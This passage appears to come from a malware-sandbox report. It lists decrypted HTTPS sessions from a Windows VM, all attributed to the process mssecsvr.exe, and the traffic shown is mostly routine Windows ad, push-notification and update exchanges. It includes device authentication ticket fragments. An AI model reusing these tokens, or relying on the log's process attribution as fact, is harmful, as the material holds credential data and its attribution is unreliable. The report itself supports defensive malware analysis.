t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAQ5X4V+iVB1y3B0mT32r6arZ/r5N7z5ViULgVV94nCfe3hb5cMylSNPrb0NJOUxTF4y9muV6l7RVpoOHLhKHPgWTitLGmCGcky0qXYurJZQFwByvNat0sRboG+UdCNWOREbcn4N4s+q33R9xq0wuecxzLKc/57dngP556aD8eXdVaMsdzo3HSKxYiJsFI+qtZtBLiG8OvX9pku5hKgxu2rZlNrrHHsgbBjsUJhI1Iw4ukceQjG7d/wvMBP/9pkqO7IzE1g+1Jw6CxhGcwVQRnrW021PV2hQgjR2KtHa3BQd8Qxl3hfY2yvqzx+D/TYskAuDbs3xbIQOU1ScKCBlXJFcDZgAACPHS8O4yqHwCqAEAoBOGEdpxcytzqynI+KQDV2/8wcyE46OICoVAWeCYCPACU5qJu3b4cB/ufiikbUKFlbsIwckzuKN/yq25tUgv0Q+aPBjPG6GzI53KhQYkvSyIIPobsMqCASJgtP2x23pe0bFQjxAS4OpuJQ8GbIWLvj9t3gqbajFFEd09+94kAW8lR8jjv0UsOlTscVmZdJuAbm8zuAud4OS9TSamEdQ5Hgh71k5OEUobQfX/B3R54RUCmWzIt9Qas+WEQckUk0Em8Jmiy3/UVseB+SnVgyyZQmi9IiZ/w3LqXqYWhlip5Js6jdxBEun4PV/4aUp0yLl7XsDX+yVNOPYq9f0Xz2qL1EisCzD2tOmvcbaJ21VSHHGBRHXhaL3lYlnoFkF4owcmzUFbXnPkOYYYGcs+Et6uYwvvWJoI3f2Tn6dr/VFKL4RrCxgjLk3HVRRDspVUXBFQqKuAopyS/1kwb3wGGyjnULckUjARE2KGtMW1LRN0kGCvZmZjJLGE8bvNeQzt7DCuliAdsVW1yWl6F0Zc7u6tZtUeEVDZcKLep13vPYe+vi+xpI/XW2+O1gE=&p= Cache-Control: no-cache MS-CV: LaWPJ5j/d0OBKw+q.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-20 13:44:36 UTC	8166	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 167 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"OPTOUTSTATE":"256"}] X-ARC-SIG: mXM56fBxiEz6HjplhPtqKwEi3h32iqwTK4ORg0T6i1fy3Kh1w9HNleX/HGyviUrP75YGHYRJnxA3/aAHdxP0dXytZ/NDW4hZJXJwiWNB3DPRWZ//tPERtiOMBIAglR/c7VPcMovuiedqIDbOA9G6It+V/IghQiWsvlAUtDREcrjV/ZBXDVgqrBYAcQ6xpqxHSqIwTTR7Wi792uN4zDnDIpUpPm22wItdjJHjzC56f/074XQIDHpwc/4toq5VteiyiefDU0gFJr/EcNVTyfpIuxTONZ5SqiWQ3ulbcysSvK0qLx4x6hHy2zMSWjVK2a8HliC69RW7dMerpqnJ11CIAw== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 13:44:36 GMT Connection: close
2022-07-20 13:44:36 UTC	8167	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 2c 22 72 65 66 72 65 73 68 74 69 6d 65 22 3a 22 32 30 32 32 2d 30 37 2d 32 30 54 31 37 3a 34 34 3a 33 36 22 7d 7d Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}],"refreshtime":"2022-07-20T17:44:36"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.7	51413	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:44:38 UTC	8167	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 63 31 62 33 35 33 64 36 30 36 31 38 63 31 35 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: fc1b353d60618c15
2022-07-20 13:44:38 UTC	8167	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 13:44:38 UTC	8167	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 63 31 62 33 35 33 64 36 30 36 31 38 63 31 35 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 54 69 38 64 44 74 63 47 2b 6e 56 77 43 42 53 39 37 48 76 31 6a 70 37 4f 4f 4f 44 72 71 4e 37 46 58 69 6f 47 4c 48 31 2f 76 2f 53 35 30 42 79 33 4f 4f 48 49 65 52 32 6e 33 78 53 30 68 6d 74 35 75 65 57 2f 6c 48 34 4c 4f 30 77 31 66 44 6f 30 51 46 2f 4c 79 39 36 2b 50 74 53 37 59 65 2b 64 53 43 59 4c 70 55 69 56 46 6c 58 56 77 62 48 46 35 50 46 30 47 44 53 76 70 4e 4e 55 4a 6e 49 47 77 53 38 65 48 68 6c Data Ascii: ATH 2 CON\DEVICE 1014Context: fc1b353d60618c15<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdTi8dDtcG+nVwCBS97Hv1jp7OOODrqN7FXioGLH1/v/S50By3OOHIeR2n3xS0hmt5ueW/lH4LO0w1fDo0QF/Ly96+PtS7Ye+dSCYLpUiVFlXVwbHF5PF0GDSvpNNUJnIGwS8eHhl
2022-07-20 13:44:38 UTC	8168	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 63 31 62 33 35 33 64 36 30 36 31 38 63 31 35 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: fc1b353d60618c15
2022-07-20 13:44:38 UTC	8168	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 13:44:38 UTC	8168	IN	Data Raw: 4d 53 2d 43 56 3a 20 32 4f 35 41 43 72 54 34 32 45 4b 42 6a 4c 31 46 2f 36 72 7a 5a 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 2O5ACrT42EKBjL1F/6rzZQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.7	51905	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:44:53 UTC	8169	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 62 32 33 37 65 31 64 38 36 37 35 35 34 63 35 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 5b237e1d867554c5
2022-07-20 13:44:53 UTC	8169	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 13:44:53 UTC	8169	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 62 32 33 37 65 31 64 38 36 37 35 35 34 63 35 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 54 69 38 64 44 74 63 47 2b 6e 56 77 43 42 53 39 37 48 76 31 6a 70 37 4f 4f 4f 44 72 71 4e 37 46 58 69 6f 47 4c 48 31 2f 76 2f 53 35 30 42 79 33 4f 4f 48 49 65 52 32 6e 33 78 53 30 68 6d 74 35 75 65 57 2f 6c 48 34 4c 4f 30 77 31 66 44 6f 30 51 46 2f 4c 79 39 36 2b 50 74 53 37 59 65 2b 64 53 43 59 4c 70 55 69 56 46 6c 58 56 77 62 48 46 35 50 46 30 47 44 53 76 70 4e 4e 55 4a 6e 49 47 77 53 38 65 48 68 6c Data Ascii: ATH 2 CON\DEVICE 1014Context: 5b237e1d867554c5<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdTi8dDtcG+nVwCBS97Hv1jp7OOODrqN7FXioGLH1/v/S50By3OOHIeR2n3xS0hmt5ueW/lH4LO0w1fDo0QF/Ly96+PtS7Ye+dSCYLpUiVFlXVwbHF5PF0GDSvpNNUJnIGwS8eHhl
2022-07-20 13:44:53 UTC	8170	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 62 32 33 37 65 31 64 38 36 37 35 35 34 63 35 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: 5b237e1d867554c5<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 13:44:53 UTC	8170	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 13:44:53 UTC	8170	IN	Data Raw: 4d 53 2d 43 56 3a 20 44 62 74 55 74 6c 52 6c 34 30 47 44 58 38 32 4e 43 2b 6f 50 2b 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: DbtUtlRl40GDX82NC+oP+g.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.7	52190	20.199.120.151	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:44:59 UTC	8170	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 30 35 38 39 33 61 39 65 64 37 65 33 33 61 32 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: b05893a9ed7e33a2
2022-07-20 13:44:59 UTC	8170	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 13:44:59 UTC	8170	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 30 35 38 39 33 61 39 65 64 37 65 33 33 61 32 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 54 69 38 64 44 74 63 47 2b 6e 56 77 43 42 53 39 37 48 76 31 6a 70 37 4f 4f 4f 44 72 71 4e 37 46 58 69 6f 47 4c 48 31 2f 76 2f 53 35 30 42 79 33 4f 4f 48 49 65 52 32 6e 33 78 53 30 68 6d 74 35 75 65 57 2f 6c 48 34 4c 4f 30 77 31 66 44 6f 30 51 46 2f 4c 79 39 36 2b 50 74 53 37 59 65 2b 64 53 43 59 4c 70 55 69 56 46 6c 58 56 77 62 48 46 35 50 46 30 47 44 53 76 70 4e 4e 55 4a 6e 49 47 77 53 38 65 48 68 6c Data Ascii: ATH 2 CON\DEVICE 1014Context: b05893a9ed7e33a2<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdTi8dDtcG+nVwCBS97Hv1jp7OOODrqN7FXioGLH1/v/S50By3OOHIeR2n3xS0hmt5ueW/lH4LO0w1fDo0QF/Ly96+PtS7Ye+dSCYLpUiVFlXVwbHF5PF0GDSvpNNUJnIGwS8eHhl
2022-07-20 13:44:59 UTC	8171	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 30 35 38 39 33 61 39 65 64 37 65 33 33 61 32 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: b05893a9ed7e33a2
2022-07-20 13:44:59 UTC	8171	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 13:44:59 UTC	8171	IN	Data Raw: 4d 53 2d 43 56 3a 20 2f 54 64 44 34 76 69 59 74 45 75 6d 44 66 38 55 6b 76 68 45 2b 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: /TdD4viYtEumDf8UkvhE+g.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.7	52189	52.152.110.14	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:44:59 UTC	8171	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=P54v9HmANUf3mSD&MD=zzdSvrc4 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 13:44:59 UTC	8172	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: c88349fb-f537-4ba1-8a86-ae7b539631e4 MS-RequestId: 43366e10-d866-41e4-bb49-257b8d2423a5 MS-CV: bLAUPnA9b0GWDu5F.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 13:44:59 GMT Connection: close Content-Length: 35877
2022-07-20 13:44:59 UTC	8172	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 13:44:59 UTC	8188	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 13:44:59 UTC	8204	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.7	52295	40.125.122.176	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:45:02 UTC	8207	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=P54v9HmANUf3mSD&MD=zzdSvrc4 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 13:45:03 UTC	8208	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 855002ef-223b-4046-8fda-7922456c2c38 MS-RequestId: 1fe05d7f-59a4-48e5-9abc-849d898f470d MS-CV: GXTk8BRUv0G2iE41.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 13:45:01 GMT Connection: close Content-Length: 35877
2022-07-20 13:45:03 UTC	8208	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 13:45:03 UTC	8224	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 13:45:03 UTC	8240	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.7	49871	173.222.108.192	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
